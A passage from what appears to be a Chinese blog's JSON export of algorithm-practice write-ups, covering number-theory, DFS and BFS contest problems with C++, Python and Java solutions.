} 24 return; 25 } 26 27 auto it = factors.begin(); 28 advance(it, k); 29 for (int i = 0; i \u0026lt;= it-\u0026gt;second; i++) { 30 ll p = pow(it-\u0026gt;first, i); 31 cur *= p; 32 dfs(factors, k + 1, l, cur); 33 cur /= p; 34 } 35 36 return; 37} 38 39map\u0026lt;ll, ll\u0026gt; pfd(ll a) { 40 map\u0026lt;ll, ll\u0026gt; factors; 41 ll count = 0; 42 while (a % 2ll == 0) { 43 a /= 2ll; 44 count++; 45 } 46 if (count \u0026gt; 0) { 47 factors[2] = count; 48 } 49 50 ll k = 3; 51 while (k * k \u0026lt;= a) { 52 count = 0; 53 while (a % k == 0) { 54 a /= k; 55 count++; 56 } 57 if (count \u0026gt; 0) { 58 factors[k] = count; 59 } 60 k += 2; 61 } 62 63 if (a \u0026gt; 2) { 64 factors[a] = 1; 65 } 66 return factors; 67} 68 69int main() { 70 int n; 71 scanf(\u0026#34;%d\u0026#34;, \u0026amp;n); 72 while (n--) { 73 scanf(\u0026#34;%lld%lld\u0026#34;, \u0026amp;x, \u0026amp;y); 74 75 if (y % x != 0) { 76 printf(\u0026#34;0\\n\u0026#34;); 77 continue; 78 } 79 80 if (x == y) { 81 printf(\u0026#34;1\\n\u0026#34;); 82 continue; 83 } 84 85 mul = x * y; 86 map\u0026lt;ll, ll\u0026gt; factors = pfd(mul); 87 ans = 0; 88 dfs(factors, 0, factors.size(), 1); 89 printf(\u0026#34;%d\\n\u0026#34;, ans + 2); 90 } 91 return 0; 92} Problem 1669 | 高木同学的因子 Description 今天西片同学又被高木同学捉弄了,高木同学跟西片同学玩了这么一个游戏。两人心中分别想一个数字,这两个数字分别为x和y(1\u0026lt;=x,y\u0026lt;=1e18),然后让西片同学说出一共有多少个整数既是x的因子,又是y的因子。由于西片和高木很有默契,所以保证他们两个想的数x和y的最大公因数不会超过1e9。这个问题又难住了西片同学了,你能帮帮西片同学告诉他答案吗?\nInput 单组输入 数据占一行,包含两个整数x和y(1\u0026lt;=x,y\u0026lt;=1e18),保证gcd(x,y)\u0026lt;=1e9。\nOutput 输出既是x因子又是y因子的整数的个数。输出占一行\nSample Input 112 36 Sample Output 16 Hint 12和36有共同因子1 2 3 4 6 12共计6个数字,所以答案为6\nSource GYL\n这是一道数学题(数论题),直接枚举会超时。因为两数的公因数均为其最大公因数的因数,所以只计算两数最大公因数的因数个数即可。\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4 5#define ll long long 6 7inline ll gcd(ll a, ll b) { 8 return b == 0 ? a : gcd(b, a % b); 9} 10 11int main() { 12 ll a, b; 13 scanf(\u0026#34;%lld%lld\u0026#34;, \u0026amp;a, \u0026amp;b); 14 ll d = gcd(a, b), i, count = 0; 15 for (i = 1; i * i \u0026lt; d; i++) { 16 if (d % i == 0) { 17 count += 2; 18 } 19 } 20 if (i * i == d) { 21 count++; 22 } 23 printf(\u0026#34;%lld\\n\u0026#34;, count); 24 return 0; 25} Problem 601 | 快速幂取模 Description 给定A,B,C,计算A^B%C,这里A^B代表A的B次方。\nInput 输入数据有多组,每组数据一行,有3个正整数分别为A,B和C,1\u0026lt;=A,B,C\u0026lt;=1000000000\nOutput 输出A^B%C的值\nSample Input 12 3 5 28 2 10 Sample Output 13 24 【C++/算法】快速幂算法详解\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4 5#define ll long long 6 7int main() { 8 ll b, e, m, result; 9 while (scanf(\u0026#34;%lld %lld %lld\u0026#34;, \u0026amp;b, \u0026amp;e, \u0026amp;m) == 3) { 10 result = 1; 11 b %= m; 12 while (e \u0026gt; 0) { 13 if (e \u0026amp; 1) { 14 result = (result * b) % m; 15 } 16 b = (b * b) % m; 17 e \u0026gt;\u0026gt;= 1; 18 } 19 printf(\u0026#34;%lld\\n\u0026#34;, result); 20 } 21 return 0; 22} Problem 1666 | 库特的数学题 Description 库特很喜欢做各种高深莫测的数学题,一天,她在书上看到了这么一道题。a[1]=6,a[2]=18;a[n]=2*a[n-1]+3*a[n-2](n\u0026gt;=3),对于给出的某个数字n,求a[n]。库特一想这道题太简单了,可是看到n的范围是(n\u0026lt;=1e18),对于这么大范围的数,库特不知道该怎么做了,聪明的你,快来帮帮库特解决这个问题吧。(由于答案可能很大,请将答案对1e9+7(即1000000007)取模)。\nInput 一个整数n(1\u0026lt;=n\u0026lt;=1e18)\nOutput a[n]对1e9+7取模后的答案\nSample Input 15 Sample Output 1486 做这道题还要我复习高考数学……最后算(瞪)出来通项公式为 $a_n=2\\cdot3^n$,后面要用快速幂取模。\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4 5#define ll long long 6 7const ll MOD = 1e9 + 7; 8 9int main() { 10 ll n; 11 scanf(\u0026#34;%lld\u0026#34;, \u0026amp;n); 12 ll result = 1, b = 3; 13 while (n \u0026gt; 0) { 14 if (n \u0026amp; 1) { 15 result = (result * b) % MOD; 16 } 17 b = (b * b) % MOD; 18 n \u0026gt;\u0026gt;= 1; 19 } 20 printf(\u0026#34;%lld\\n\u0026#34;, result * 2 % MOD); 21 return 0; 22} Problem 1834 | 异或方程解的个数 Description ljw这几天给大一同学讲课的时候,觉得自己太菜了,于是他做了一道无聊的数学题,但是他觉得这题太难了,所以他把问题交给了聪明的你,你能帮他解决这个问题吗?\n问题如下: 给你一个方程:n−(n^x)−x=0 (其中 ^ 表示两个数异或,并不是表示幂次符号哦) 现在给你n的值,问有多少种x的取值使得方程成立(数据保证n在2的30次方范围内)\nInput 多组输入数据(不超过2000000组) 每组输入数据包含一个整数n,含义如题。\nOutput 对于每组输入数据,你需要输出一个整数,表示解的个数。\nSample Input 10 22 Sample Output 11 22 Hint 异或指的是,两个数的每一个二进制位,如果相同,异或结果为0,如果不相同,异或结果为1。\n样例解释: 当n=0时,可以证明x只有等于0时才满足方程,此时x只有1种满足条件的取值,所以输入的n=0时,你需要输出1。\nSource 原题:AotoriChiaki 改编:nefu_ljw\n首先对方程做变换得到 $n-x=n\\oplus x$,观察得到,此时对于 n 与 x,异或与相减得到的结果相同。根据异或的性质不难想到,当 n 与 x 的某一位同时为 1 时,$n-x=n\\oplus x$ 成立(通过与空格异或实现大小写转换也是同样的原理)。因此只要统计出 n 的二进制表示中有多少个 1,然后找出所有的组合即可。假设 n 的二进制表示中有 m 个 1,则 x 共有 $2^m$ 种可能。\n1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4 5using namespace std; 6 7int main() { 8 int n, result; 9 while (scanf(\u0026#34;%d\u0026#34;, \u0026amp;n) == 1) { 10 result = 1; 11 while (n \u0026gt; 0) { 12 if (n \u0026amp; 1) { 13 result \u0026lt;\u0026lt;= 1; 14 } 15 n \u0026gt;\u0026gt;= 1; 16 } 17 printf(\u0026#34;%d\\n\u0026#34;, result); 18 } 19} ","link":"https://jackgdn.github.io/post/lanqiao-week4/","section":"post","tags":["算法","dfs","数论"],"title":"2025寒假算法练习——Week 4"},{"body":" 深度优先搜索适合用于查找路径、解决组合问题,缺点是递归调用的时间复杂度高。 广度优先搜索适合用于找最短路径,缺点是空间复杂度高。 [NOIP2001 普及组] 求先序排列 题目描述 给出一棵二叉树的中序与后序排列。求出它的先序排列。(约定树结点用不同的大写字母表示,且二叉树的节点个数 $ \\le 8$)。\n输入格式 共两行,均为大写字母组成的字符串,表示一棵二叉树的中序与后序排列。\n输出格式 共一行一个字符串,表示一棵二叉树的先序。\n样例 #1 样例输入 #1 1BADC 2BDCA 样例输出 #1 1ABCD 提示 【题目来源】\nNOIP 2001 普及组第三题\n题解 中序遍历是以左-\u0026gt;中-\u0026gt;右的顺序遍历树,后续遍历是以左-\u0026gt;右-\u0026gt;中的顺序遍历树。根据定义我们可以知道以下规律:\n后序遍历的最后一个节点一定是根节点,对子树同样成立 中序遍历左子节点一定在根节点前,根节点一定在右子节点前,对子树同样成立 后序遍历左子节点一定在右子节点前,对子树同样成立 随后可以按照这些规律设计算法,还原一颗二叉树:\n从后向前读取后序遍历字符串,每一个字符都是某个树的根节点 在中序遍历字符串中找到这个根节点字符,这个字符前面的 n 个字符都属于左子树,后面的 m 个字符都属于右子树 后序遍历字符串的前 n 个字符属于左子树,紧接着的 m 个字符属于右子树 按照上述规律处理子树 1class Node: 2 3 def __init__(self, left=None, right=None, value=str()): 4 self.left = left 5 self.right = right 6 self.value = value 7 8 9def dfs(inorder, postorder): 10 if not postorder: 11 return None 12 node = Node() 13 root = postorder[-1] 14 node.value = root 15 index = inorder.index(root) 16 node.left = dfs(inorder[:index], postorder[:index]) 17 node.right = dfs(inorder[index + 1 :], postorder[index:-1]) 18 return node 19 20 21def to_list(t, res=None): 22 if res is None: 23 res = list() 24 if not t: 25 return res 26 res.append(t.value) 27 to_list(t.left, res) 28 to_list(t.right, res) 29 return res 30 31 32def main(): 33 inorder = input().strip() 34 postorder = input().strip() 35 tree = dfs(inorder, postorder) 36 print(\u0026#34;\u0026#34;.join(to_list(tree))) 37 38 39if __name__ == \u0026#34;__main__\u0026#34;: 40 main() 下面的题目来自洛谷题单【算法1-7】搜索\nkkksc03考前临时抱佛脚 题目背景 kkksc03 的大学生活非常的颓废,平时根本不学习。但是,临近期末考试,他必须要开始抱佛脚,以求不挂科。\n题目描述 这次期末考试,kkksc03 需要考 $4$ 科。因此要开始刷习题集,每科都有一个习题集,分别有 $s_1,s_2,s_3,s_4$ 道题目,完成每道题目需要一些时间,可能不等($A_1,A_2,\\ldots,A_{s_1}$,$B_1,B_2,\\ldots,B_{s_2}$,$C_1,C_2,\\ldots,C_{s_3}$,$D_1,D_2,\\ldots,D_{s_4}$)。\nkkksc03 有一个能力,他的左右两个大脑可以同时计算 $2$ 道不同的题目,但是仅限于同一科。因此,kkksc03 必须一科一科的复习。\n由于 kkksc03 还急着去处理洛谷的 bug,因此他希望尽快把事情做完,所以他希望知道能够完成复习的最短时间。\n输入格式 本题包含 $5$ 行数据:第 $1$ 行,为四个正整数 $s_1,s_2,s_3,s_4$。\n第 $2$ 行,为 $A_1,A_2,\\ldots,A_{s_1}$ 共 $s_1$ 个数,表示第一科习题集每道题目所消耗的时间。\n第 $3$ 行,为 $B_1,B_2,\\ldots,B_{s_2}$ 共 $s_2$ 个数。\n第 $4$ 行,为 $C_1,C_2,\\ldots,C_{s_3}$ 共 $s_3$ 个数。\n第 $5$ 行,为 $D_1,D_2,\\ldots,D_{s_4}$ 共 $s_4$ 个数,意思均同上。\n输出格式 输出一行,为复习完毕最短时间。\n样例 #1 样例输入 #1 11 2 1 3 25 34 3 46 52 4 3 样例输出 #1 120 提示 $1\\leq s_1,s_2,s_3,s_4\\leq 20$。\n$1\\leq A_1,A_2,\\ldots,A_{s_1},B_1,B_2,\\ldots,B_{s_2},C_1,C_2,\\ldots,C_{s_3},D_1,D_2,\\ldots,D_{s_4}\\leq60$。\n题解 暴搜把每一道题分别放到左右脑之后,总时间最短的情况:\n1from functools import lru_cache 2 3 4@lru_cache 5def dfs(left: int, right: int, time: tuple): 6 if len(time) == 0: 7 return max(left, right) 8 9 return min( 10 dfs(left + time[0], right, time[1:]), dfs(left, right + time[0], time[1:]) 11 ) 12 13 14def main(): 15 _ = input() 16 total = 0 17 for _ in range(4): 18 time = tuple(map(int, input().split())) 19 total += dfs(0, 0, time) 20 print(total) 21 22 23if __name__ == \u0026#34;__main__\u0026#34;: 24 main() 这样会写会有一个点超时。因为左右脑是等价的,左右脑中的题互换时间不变,因此令每一科第一题在左脑计算,这样可以节约一半时间。\n1from functools import lru_cache 2 3 4@lru_cache 5def dfs(left: int, right: int, time: tuple): 6 if len(time) == 0: 7 return max(left, right) 8 9 return min( 10 dfs(left + time[0], right, time[1:]), dfs(left, right + time[0], time[1:]) 11 ) 12 13 14def main(): 15 _ = input() 16 total = 0 17 for _ in range(4): 18 time = tuple(map(int, input().split())) 19 total += dfs(time[0], 0, time[1:]) 20 print(total) 21 22 23if __name__ == \u0026#34;__main__\u0026#34;: 24 main() 将 dfs 函数的参数 time 定义为 tuple 类型才可以开 lru_cache 优化。\n[NOIP2002 普及组] 选数 题目描述 已知 $n$ 个整数 $x_1,x_2,\\cdots,x_n$,以及 $1$ 个整数 $k$($k\u0026lt;n$)。从 $n$ 个整数中任选 $k$ 个整数相加,可分别得到一系列的和。例如当 $n=4$,$k=3$,$4$ 个整数分别为 $3,7,12,19$ 时,可得全部的组合与它们的和为:\n$3+7+12=22$\n$3+7+19=29$\n$7+12+19=38$\n$3+12+19=34$\n现在,要求你计算出和为素数共有多少种。\n例如上例,只有一种的和为素数:$3+7+19=29$。\n输入格式 第一行两个空格隔开的整数 $n,k$($1 \\le n \\le 20$,$k\u0026lt;n$)。\n第二行 $n$ 个整数,分别为 $x_1,x_2,\\cdots,x_n$($1 \\le x_i \\le 5\\times 10^6$)。\n输出格式 输出一个整数,表示种类数。\n样例 #1 样例输入 #1 14 3 23 7 12 19 样例输出 #1 11 提示 【题目来源】\nNOIP 2002 普及组第二题\n使用深搜解决问题。因为 is_prime 函数反复调用,所以用 lru_cache 修饰器以节约时间(不加也能过)。dfs 函数没有加是因为这个修饰器要求函数参数都 hashable。\n1from functools import lru_cache 2 3 4def dfs(nums, start, k, path, result): 5 if len(path) == k: 6 result.append(sum(path)) 7 return 8 9 for i in range(start, len(nums)): 10 dfs(nums, i + 1, k, path + [nums[i]], result) 11 12 13@lru_cache 14def is_prime(n): 15 if n \u0026lt; 2: 16 return False 17 for i in range(2, int(n**0.5) + 1): 18 if n % i == 0: 19 return False 20 return True 21 22 23def main(): 24 n, k = map(int, input().split(\u0026#34; \u0026#34;)) 25 nums = list(map(int, input().split(\u0026#34; \u0026#34;))) 26 result = list() 27 dfs(nums, 0, k, list(), result) 28 count = 0 29 for i in result: 30 if is_prime(i): 31 count += 1 32 print(count) 33 34 35if __name__ == \u0026#34;__main__\u0026#34;: 36 main() 还可以用 itertools 模块的 combinations 函数一步到位。\n1from itertools import combinations 2 3 4def isPrime(n): 5 if n \u0026lt; 2: 6 return False 7 for i in range(2, int(n**0.5) + 1): 8 if n % i == 0: 9 return False 10 return True 11 12 13def main(): 14 n, k = map(int, input().split(\u0026#34; \u0026#34;)) 15 nums = list(map(int, input().split(\u0026#34; \u0026#34;))) 16 print(len([s for comb in combinations(nums, k) if isPrime(s := sum(comb))])) 17 18 19if __name__ == \u0026#34;__main__\u0026#34;: 20 main() 时间和内存跟自己手搓的差不多。\n[COCI 2008/2009 #2] PERKET 题目描述 Perket 是一种流行的美食。为了做好 Perket,厨师必须谨慎选择食材,以在保持传统风味的同时尽可能获得最全面的味道。你有 $n$ 种可支配的配料。对于每一种配料,我们知道它们各自的酸度 $s$ 和苦度 $b$。当我们添加配料时,总的酸度为每一种配料的酸度总乘积;总的苦度为每一种配料的苦度的总和。\n众所周知,美食应该做到口感适中,所以我们希望选取配料,以使得酸度和苦度的绝对差最小。\n另外,我们必须添加至少一种配料,因为没有任何食物以水为配料的。\n输入格式 第一行一个整数 $n$,表示可供选用的食材种类数。\n接下来 $n$ 行,每行 $2$ 个整数 $s_i$ 和 $b_i$,表示第 $i$ 种食材的酸度和苦度。\n输出格式 一行一个整数,表示可能的总酸度和总苦度的最小绝对差。\n样例 #1 样例输入 #1 11 23 10 样例输出 #1 17 样例 #2 样例输入 #2 12 23 8 35 8 样例输出 #2 11 样例 #3 样例输入 #3 14 21 7 32 6 43 8 54 9 样例输出 #3 11 提示 数据规模与约定 对于 $100%$ 的数据,有 $1 \\leq n \\leq 10$,且将所有可用食材全部使用产生的总酸度和总苦度小于 $1 \\times 10^9$,酸度和苦度不同时为 $1$ 和 $0$。\n说明 本题满分 $70$ 分。 题目译自 COCI2008-2009 CONTEST #2 PERKET,译者 @mnesia。 题解 最开始想尝试用 0-1 背包的思路来解,后来发现每一次比较的最小值不一定是最终的最小值。例如当五种调料的 s 和 b 都是 2 和 6 时,随着调料种类的增多这个差值依次是 $4\\rightarrow8\\rightarrow10\\rightarrow8\\rightarrow2$。所以还是选择用爆搜。\n爆搜也有问题,就是在大多数情况下,不加任何调料,即只有初始值 s = 0, b = 1 时这个差最小。所以把所有可能出现的结果都列出来,如果结果中有 0 则输出 0,否则将结果中第二小的值输出(除了初始值 1)。\n1def dfs(s_list, b_list, current_s, current_b, index, n, result): 2 if index == n: 3 result.append(abs(current_s - current_b)) 4 return 5 6 dfs( 7 s_list[1:], 8 b_list[1:], 9 current_s * s_list[0], 10 current_b + b_list[0], 11 index + 1, 12 n, 13 result, 14 ) 15 dfs(s_list[1:], b_list[1:], current_s, current_b, index + 1, n, result) 16 return result 17 18 19def main(): 20 n = int(input()) 21 s_list, b_list = list(), list() 22 for _ in range(n): 23 s, b = map(int, input().split()) 24 s_list.append(s) 25 b_list.append(b) 26 result = sorted(dfs(s_list, b_list, 1, 0, 0, n, list())) 27 if result[0]: 28 print(result[1]) 29 else: 30 print(0) 31 32 33if __name__ == \u0026#34;__main__\u0026#34;: 34 main() 没有 lru_cache 也能过。\n迷宫 题目描述 给定一个 $N \\times M$ 方格的迷宫,迷宫里有 $T$ 处障碍,障碍处不可通过。\n在迷宫中移动有上下左右四种方式,每次只能移动一个方格。数据保证起点上没有障碍。\n给定起点坐标和终点坐标,每个方格最多经过一次,问有多少种从起点坐标到终点坐标的方案。\n输入格式 第一行为三个正整数 $N,M,T$,分别表示迷宫的长宽和障碍总数。\n第二行为四个正整数 $SX,SY,FX,FY$,$SX,SY$ 代表起点坐标,$FX,FY$ 代表终点坐标。\n接下来 $T$ 行,每行两个正整数,表示障碍点的坐标。\n输出格式 输出从起点坐标到终点坐标的方案总数。\n样例 #1 样例输入 #1 12 2 1 21 1 2 2 31 2 样例输出 #1 11 提示 对于 $100%$ 的数据,$1 \\le N,M \\le 5$,$1 \\le T \\le 10$,$1 \\le SX,FX \\le n$,$1 \\le SY,FY \\le m$。\n题解 深搜:\n1def dfs(maze, current, dest, visited, path_count, N, M): 2 if current == dest: 3 path_count += 1 4 return path_count 5 6 visited[current] = True 7 x, y = current 8 9 if x \u0026gt; 1 and not visited.get((x - 1, y), False) and maze[x - 1][y]: 10 path_count = dfs(maze, (x - 1, y), dest, visited, path_count, N, M) 11 if x \u0026lt; N and not visited.get((x + 1, y), False) and maze[x + 1][y]: 12 path_count = dfs(maze, (x + 1, y), dest, visited, path_count, N, M) 13 if y \u0026gt; 1 and not visited.get((x, y - 1), False) and maze[x][y - 1]: 14 path_count = dfs(maze, (x, y - 1), dest, visited, path_count, N, M) 15 if y \u0026lt; M and not visited.get((x, y + 1), False) and maze[x][y + 1]: 16 path_count = dfs(maze, (x, y + 1), dest, visited, path_count, N, M) 17 18 visited[current] = False 19 return path_count 20 21 22def main(): 23 N, M, T = map(int, input().strip().split(\u0026#34; \u0026#34;)) 24 sx, sy, fx, fy = map(int, input().strip().split(\u0026#34; \u0026#34;)) 25 maze = [[1 for _ in range(N + 1)] for _ in range(M + 1)] 26 for _ in range(T): 27 x, y = map(int, input().strip().split(\u0026#34; \u0026#34;)) 28 maze[x][y] = 0 29 visited = {} 30 print(dfs(maze, (sx, sy), (fx, fy), visited, 0, N, M)) 31 32 33if __name__ == \u0026#34;__main__\u0026#34;: 34 main() 单词方阵 题目描述 给一 $n \\times n$ 的字母方阵,内可能蕴含多个 yizhong 单词。单词在方阵中是沿着同一方向连续摆放的。摆放可沿着 $8$ 个方向的任一方向,同一单词摆放时不再改变方向,单词与单词之间可以交叉,因此有可能共用字母。输出时,将不是单词的字母用 * 代替,以突出显示单词。\n输入格式 第一行输入一个数 $n$。$(7 \\le n \\le 100)$。\n第二行开始输入 $n \\times n$ 的字母矩阵。\n输出格式 突出显示单词的 $n \\times n$ 矩阵。\n样例 #1 样例输入 #1 17 2aaaaaaa 3aaaaaaa 4aaaaaaa 5aaaaaaa 6aaaaaaa 7aaaaaaa 8aaaaaaa 样例输出 #1 1******* 2******* 3******* 4******* 5******* 6******* 7******* 样例 #2 样例输入 #2 18 2qyizhong 3gydthkjy 4nwidghji 5orbzsfgz 6hhgrhwth 7zzzzzozo 8iwdfrgng 9yyyygggg 样例输出 #2 1*yizhong 2gy****** 3n*i***** 4o**z**** 5h***h*** 6z****o** 7i*****n* 8y******g 题解 用最朴素的方法完成。\n1def main(): 2 n = int(input()) 3 matrix = list() 4 result = [[\u0026#34;*\u0026#34; for _ in range(n)] for _ in range(n)] 5 yizhong = \u0026#34;yizhong\u0026#34; 6 for _ in range(n): 7 matrix.append(list(input().strip())) 8 9 for i in range(n): 10 for j in range(n): 11 if matrix[i][j] == \u0026#34;y\u0026#34;: 12 13 if i \u0026gt;= 6 and \u0026#34;\u0026#34;.join(matrix[i - k][j] for k in range(7)) == yizhong: 14 for k in range(7): 15 result[i - k][j] = yizhong[k] 16 17 if i \u0026gt;= 6 and j \u0026lt;= n - 7 and \u0026#34;\u0026#34;.join(matrix[i - k][j + k] for k in range(7)) == yizhong: 18 for k in range(7): 19 result[i - k][j + k] = yizhong[k] 20 21 if j \u0026lt;= n - 7 and \u0026#34;\u0026#34;.join(matrix[i][j + k] for k in range(7)) == yizhong: 22 for k in range(7): 23 result[i][j + k] = yizhong[k] 24 25 if i \u0026lt;= n - 7 and j \u0026lt;= n - 7 and \u0026#34;\u0026#34;.join(matrix[i + k][j + k] for k in range(7)) == yizhong: 26 for k in range(7): 27 result[i + k][j + k] = yizhong[k] 28 29 if i \u0026lt;= n - 7 and \u0026#34;\u0026#34;.join(matrix[i + k][j] for k in range(7)) == yizhong: 30 for k in range(7): 31 result[i + k][j] = yizhong[k] 32 33 if i \u0026lt;= n - 7 and j \u0026gt;= 6 and \u0026#34;\u0026#34;.join(matrix[i + k][j - k] for k in range(7)) == yizhong: 34 for k in range(7): 35 result[i + k][j - k] = yizhong[k] 36 37 if j \u0026gt;= 6 and \u0026#34;\u0026#34;.join(matrix[i][j - k] for k in range(7)) == yizhong: 38 for k in range(7): 39 result[i][j - k] = yizhong[k] 40 41 if i \u0026gt;= 6 and j \u0026gt;= 6 and \u0026#34;\u0026#34;.join(matrix[i - k][j - k] for k in range(7)) == yizhong: 42 for k in range(7): 43 result[i - k][j - k] = yizhong[k] 44 45 for i in range(n): 46 print(\u0026#34;\u0026#34;.join(result[i])) 47 48 49if __name__ == \u0026#34;__main__\u0026#34;: 50 main() 自然数的拆分问题 题目描述 任何一个大于 $1$ 的自然数 $n$,总可以拆分成若干个小于 $n$ 的自然数之和。现在给你一个自然数 $n$,要求你求出 $n$ 的拆分成一些数字的和。每个拆分后的序列中的数字从小到大排序。然后你需要输出这些序列,其中字典序小的序列需要优先输出。\n输入格式 输入:待拆分的自然数 $n$。\n输出格式 输出:若干数的加法式子。\n样例 #1 样例输入 #1 17 样例输出 #1 11+1+1+1+1+1+1 21+1+1+1+1+2 31+1+1+1+3 41+1+1+2+2 51+1+1+4 61+1+2+3 71+1+5 81+2+2+2 91+2+4 101+3+3 111+6 122+2+3 132+5 143+4 提示 数据保证,$2\\leq n\\le 8$。\n题解 简单递归\n1def dfs(current_nums, current_sum, n, result, start): 2 if current_sum == n: 3 result.append(\u0026#34;+\u0026#34;.join(current_nums)) 4 return result 5 6 for i in range(start, n - current_sum + 1): 7 dfs(current_nums + [str(i)], current_sum + i, n, result, i) 8 9 return result 10 11 12def main(): 13 n = int(input()) 14 result = dfs(list(), 0, n, list(), 1) 15 print(*result[:-1], sep=\u0026#34;\\n\u0026#34;) 16 17 18if __name__ == \u0026#34;__main__\u0026#34;: 19 main() [USACO10OCT] Lake Counting S 题面翻译 由于近期的降雨,雨水汇集在农民约翰的田地不同的地方。我们用一个 $N\\times M(1\\leq N\\leq 100, 1\\leq M\\leq 100)$ 的网格图表示。每个网格中有水(W) 或是旱地(.)。一个网格与其周围的八个网格相连,而一组相连的网格视为一个水坑。约翰想弄清楚他的田地已经形成了多少水坑。给出约翰田地的示意图,确定当中有多少水坑。\n输入第 $1$ 行:两个空格隔开的整数:$N$ 和 $M$。\n第 $2$ 行到第 $N+1$ 行:每行 $M$ 个字符,每个字符是 W 或 .,它们表示网格图中的一排。字符之间没有空格。\n输出一行,表示水坑的数量。\n题目描述 Due to recent rains, water has pooled in various places in Farmer John's field, which is represented by a rectangle of N x M (1 \u0026lt;= N \u0026lt;= 100; 1 \u0026lt;= M \u0026lt;= 100) squares. Each square contains either water ('W') or dry land ('.'). Farmer John would like to figure out how many ponds have formed in his field. A pond is a connected set of squares with water in them, where a square is considered adjacent to all eight of its neighbors. Given a diagram of Farmer John's field, determine how many ponds he has.\n输入格式 Line 1: Two space-separated integers: N and M * Lines 2..N+1: M characters per line representing one row of Farmer John's field. Each character is either 'W' or '.'. The characters do not have spaces between them.\n输出格式 Line 1: The number of ponds in Farmer John's field.\n样例 #1 样例输入 #1 110 12 2W........WW. 3.WWW.....WWW 4....WW...WW. 5.........WW. 6.........W.. 7..W......W.. 8.W.W.....WW. 9W.W.W.....W. 10.W.W......W. 11..W.......W. 样例输出 #1 13 提示 OUTPUT DETAILS: There are three ponds: one in the upper left, one in the lower left, and one along the right side.\n题解 这道题的数据给的比较极限,用广搜做的话要么会 TLE 要么会 MLE,要么两者都有。\n1from collections import deque 2import sys 3 4 5def bfs(field, queue, n, m): 6 while queue: 7 x, y = queue.popleft() 8 field[x][y] = \u0026#34;.\u0026#34; 9 if x \u0026gt; 0 and field[x - 1][y] == \u0026#34;W\u0026#34;: 10 queue.append((x - 1, y)) 11 if x \u0026gt; 0 and y \u0026lt; m - 1 and field[x - 1][y + 1] == \u0026#34;W\u0026#34;: 12 queue.append((x - 1, y + 1)) 13 if y \u0026lt; m - 1 and field[x][y + 1] == \u0026#34;W\u0026#34;: 14 queue.append((x, y + 1)) 15 if x \u0026lt; n - 1 and y \u0026lt; m - 1 and field[x + 1][y + 1] == \u0026#34;W\u0026#34;: 16 queue.append((x + 1, y + 1)) 17 if x \u0026lt; n - 1 and field[x + 1][y] == \u0026#34;W\u0026#34;: 18 queue.append((x + 1, y)) 19 if x \u0026lt; n - 1 and y \u0026gt; 0 and field[x + 1][y - 1] == \u0026#34;W\u0026#34;: 20 queue.append((x + 1, y - 1)) 21 if y \u0026gt; 0 and field[x][y - 1] == \u0026#34;W\u0026#34;: 22 queue.append((x, y - 1)) 23 if x \u0026gt; 0 and y \u0026gt; 0 and field[x - 1][y - 1] == \u0026#34;W\u0026#34;: 24 queue.append((x - 1, y - 1)) 25 26 27def main(): 28 data = sys.stdin.read().splitlines() 29 n, m = map(int, data[0].split(\u0026#34; \u0026#34;)) 30 field = list() 31 for i in range(n): 32 field.append(list(data[i + 1].strip())) 33 34 count = 0 35 queue = deque() 36 for i in range(n): 37 for j in range(m): 38 if field[i][j] == \u0026#34;W\u0026#34;: 39 queue.append((i, j)) 40 bfs(field, queue, n, m) 41 count += 1 42 print(count) 43 44 45if __name__ == \u0026#34;__main__\u0026#34;: 46 main() 1import java.util.Scanner; 2import java.util.Queue; 3import java.util.LinkedList; 4 5public class Main { 6 public static void main(String[] args) { 7 Scanner scanner = new Scanner(System.in); 8 int n = scanner.nextInt(); 9 int m = scanner.nextInt(); 10 scanner.nextLine(); 11 char[][] field = new char[n][m]; 12 for (int i = 0; i \u0026lt; n; i++) { 13 field[i] = scanner.nextLine().trim().toCharArray(); 14 } 15 scanner.close(); 16 17 int count = 0; 18 Queue\u0026lt;int[]\u0026gt; queue = new LinkedList\u0026lt;\u0026gt;(); 19 for (int i = 0; i \u0026lt; n; i++) { 20 for (int j = 0; j \u0026lt; m; j++) { 21 if (field[i][j] == \u0026#39;W\u0026#39;) { 22 queue.add(new int[] { i, j }); 23 bfs(field, queue, n, m); 24 count++; 25 } 26 } 27 } 28 System.out.println(count); 29 } 30 31 public static void bfs(char[][] field, Queue\u0026lt;int[]\u0026gt; queue, int n, int m) { 32 int[] location; 33 int x, y, dx, dy; 34 int[][] directions = { { -1, 0 }, { -1, 1 }, { 0, 1 }, { 1, 1 }, { 1, 0 }, { 1, -1 }, { 0, -1 }, { -1, -1 } }; 35 while (!queue.isEmpty()) { 36 location = queue.poll(); 37 x = location[0]; 38 y = location[1]; 39 field[x][y] = \u0026#39;.\u0026#39;; 40 41 for (int[] d : directions) { 42 dx = d[0]; 43 dy = d[1]; 44 45 if (x + dx \u0026gt;= 0 \u0026amp;\u0026amp; x + dx \u0026lt; n \u0026amp;\u0026amp; y + dy \u0026gt;= 0 \u0026amp;\u0026amp; y + dy \u0026lt; m \u0026amp;\u0026amp; field[x + dx][y + dy] == \u0026#39;W\u0026#39;) { 46 queue.add(new int[] { x + dx, y + dy }); 47 } 48 } 49 } 50 } 51} 1#define _CRT_SECURE_NO_WARNINGS 2 3#include \u0026lt;cstdio\u0026gt; 4#include \u0026lt;queue\u0026gt; 5#include \u0026lt;vector\u0026gt; 6 7using namespace std; 8 9vector\u0026lt;pair\u0026lt;int, int\u0026gt;\u0026gt; directions = { {-1, 0}, {-1, 1}, {0, 1}, {1, 1}, {1, 0}, {1, -1}, {0, -1}, {-1, -1} }; 10char line[105]; 11int i, j; 12 13void bfs(vector\u0026lt;vector\u0026lt;char\u0026gt;\u0026gt;\u0026amp; field, queue\u0026lt;pair\u0026lt;int, int\u0026gt;\u0026gt;\u0026amp; q, int n, int m) { 14 int x, y, dx, dy; 15 while (!q.empty()) { 16 pair\u0026lt;int, int\u0026gt; location = q.front(); 17 q.pop(); 18 x = location.first; 19 y = location.second; 20 field[x][y] = \u0026#39;.\u0026#39;; 21 22 for (const auto\u0026amp; d : directions) { 23 dx = d.first; 24 dy = d.second; 25 26 if (x + dx \u0026gt;= 0 \u0026amp;\u0026amp; x + dx \u0026lt; n \u0026amp;\u0026amp; y + dy \u0026gt;= 0 \u0026amp;\u0026amp; y + dy 